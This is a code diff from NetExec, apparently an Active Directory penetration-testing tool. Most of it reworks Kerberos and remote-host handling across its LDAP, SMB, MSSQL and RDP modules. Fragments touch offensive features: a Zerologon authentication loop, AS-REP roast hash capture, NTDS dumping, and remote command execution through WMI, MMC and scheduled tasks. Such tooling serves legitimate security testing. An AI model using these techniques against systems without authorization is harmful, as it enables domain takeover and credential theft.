def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for _attempt in range(MAX_ATTEMPTS):
+28 -15
View File
@@ -139,8 +139,7 @@ def main():
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
nxc_logger.debug(f"Protocol Object: {protocol_object}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -173,15 +172,13 @@ def main():
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
proto_module_paths = []
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
if not module.opsec_safe:
@@ -189,12 +186,22 @@ def main():
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
ans = input(
highlight(
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
@@ -205,18 +212,24 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
+33 -35
View File
@@ -166,7 +166,7 @@ class ldap(connection):
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
@@ -213,7 +213,6 @@ class ldap(connection):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
@@ -253,7 +252,6 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
@@ -280,30 +278,22 @@ class ldap(connection):
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
@@ -340,7 +330,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
@@ -351,9 +341,10 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -396,9 +387,10 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -444,7 +436,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -453,8 +445,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -474,8 +466,8 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -533,7 +525,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -542,8 +534,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -563,9 +555,15 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.check_if_admin()
# Prepare success credential text
@@ -895,7 +893,7 @@ class ldap(connection):
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp is None:
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
@@ -939,10 +937,10 @@ class ldap(connection):
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
if hash_TGT:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + "\n")
return True
else:
self.logger.highlight("No entries found!")
+13 -15
View File
@@ -1,18 +1,18 @@
import random
from binascii import hexlify, unhexlify
from datetime import datetime, timedelta
import traceback
try:
# This is only available in python >= 3.11
# if we are in a lower version, we will use the deprecated utcnow() method
from datetime import UTC
utc_failed = False
except ImportError:
utc_failed = True
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -211,8 +211,7 @@ class KerberosAttacks:
return None
req_body["realm"] = domain
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
now = datetime.utcnow() + timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["rtime"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
@@ -236,11 +235,10 @@ class KerberosAttacks:
message = encoder.encode(as_req)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return f"Password of user {userName} expired but user doesn't require pre-auth"
return "Password of user " + userName + " expired but user doesn't require pre-auth"
else:
nxc_logger.fail(e)
nxc_logger.debug(traceback.format_exc())
return None
nxc_logger.debug(e)
return False
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
+2 -2
View File
@@ -323,8 +323,8 @@ def laps_search(self, username, password, cred_type, domain):
password[0] if cred_type[0] == "plaintext" else "",
domain[0],
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
self.args.kerberos,
self.args.kdcHost,
339
)
try:
+16 -1
View File
@@ -32,4 +32,19 @@ def proto_args(parser, std_parser, module_parser):
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
return parser
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+5 -8
View File
@@ -53,7 +53,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
self.conn = tds.MSSQL(self.host, self.port)
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
@@ -73,6 +73,9 @@ class mssql(connection):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
# When using ccache file, we must need to set target host to hostname when creating connection object.
if self.kerberos:
self.host = self.hostname
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
@@ -131,13 +134,6 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@@ -174,6 +170,7 @@ class mssql(connection):
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
+2 -18
View File
@@ -150,16 +150,10 @@ class rdp(connection):
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
@@ -226,17 +220,7 @@ class rdp(connection):
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
self.host,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
hostname=self.remoteName,
dc_ip=self.kdcHost,
domain=self.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
self.auth = KerberosCredential(
target=kerberos_target,
secret=password,
+40 -58
View File
@@ -256,14 +256,6 @@ class smb(connection):
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -274,8 +266,9 @@ class smb(connection):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
self.logger.debug(f"KDC set to: {kdcHost}")
self.create_conn_obj()
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
self.logger.debug(f"KDC set to: {kdc_host}")
self.create_conn_obj(kdc_host)
lmhash = ""
nthash = ""
@@ -482,11 +475,11 @@ class smb(connection):
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def create_smbv1_conn(self):
def create_smbv1_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
@@ -495,19 +488,19 @@ class smb(connection):
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.info(f"SMBv1 might be disabled on {self.host}")
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
def create_smbv3_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
timeout=self.args.smb_timeout,
@@ -519,15 +512,15 @@ class smb(connection):
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_conn_obj(self):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def create_conn_obj(self, kdc_host=None):
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
def check_if_admin(self):
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -571,7 +564,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
@@ -580,7 +573,6 @@ class smb(connection):
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
@@ -595,25 +587,18 @@ class smb(connection):
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
self.hash,
self.logger,
self.args.get_output_tries,
self.args.dcom_timeout
)
self.logger.info("Executed command via mmcexec")
break
@@ -631,7 +616,6 @@ class smb(connection):
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
@@ -650,12 +634,12 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
@@ -1089,9 +1073,9 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -1171,16 +1155,20 @@ class smb(connection):
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
}
try:
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.host)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -1258,21 +1246,19 @@ class smb(connection):
dce.disconnect()
return entries
def put_file_single(self, src, dst):
self.logger.display(f"Copying {src} to {dst}")
with open(src, "rb") as file:
def put_file(self):
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as file:
try:
self.conn.putFile(self.args.share, dst, file.read)
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def get_file(self):
share_name = self.args.share
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
@@ -1285,10 +1271,6 @@ class smb(connection):
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
+1 -3
View File
@@ -7,7 +7,7 @@ from time import sleep
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -19,7 +19,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -38,7 +37,6 @@ class TSCH_EXEC:
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
+12 -17
View File
@@ -58,28 +58,26 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
self.__host = host
self.__username = username
self.__password = password
self.__smbconnection = smbconnection
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share = share
self.__timeout = timeout
self.__smbconnection = smbconnection
self.__share_name = share_name
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "c:\\windows\\system32\\cmd.exe"
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__quit = None
self.__executeShellCommand = None
self.__retOutput = True
self.__stringBinding = ""
self.__share = share
self.__dcom = None
self.__tries = tries
self.__timeout = timeout
self.logger = logger
if hashes is not None:
@@ -89,24 +87,21 @@ class MMCEXEC:
self.__nthash = hashes
self.__dcom = DCOMConnection(
self.__target,
self.__host,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
None,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception:
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
-4
View File
@@ -80,8 +80,6 @@ class PassPolDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.pass_pol = {}
@@ -114,8 +112,6 @@ class PassPolDump:
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
kdcHost=self.kdcHost,
remote_host=self.host,
)
try:
self.fetchList(rpctransport)
+2 -2
View File
@@ -59,8 +59,8 @@ def proto_args(parser, std_parser, module_parser):
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
+17 -14
View File
@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@@ -25,7 +25,6 @@ class SamrFunc:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.kdcHost = connection.kdcHost
if self.hash is not None:
if self.hash.find(":") != -1:
@@ -36,8 +35,16 @@ class SamrFunc:
if self.password is None:
self.password = ""
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
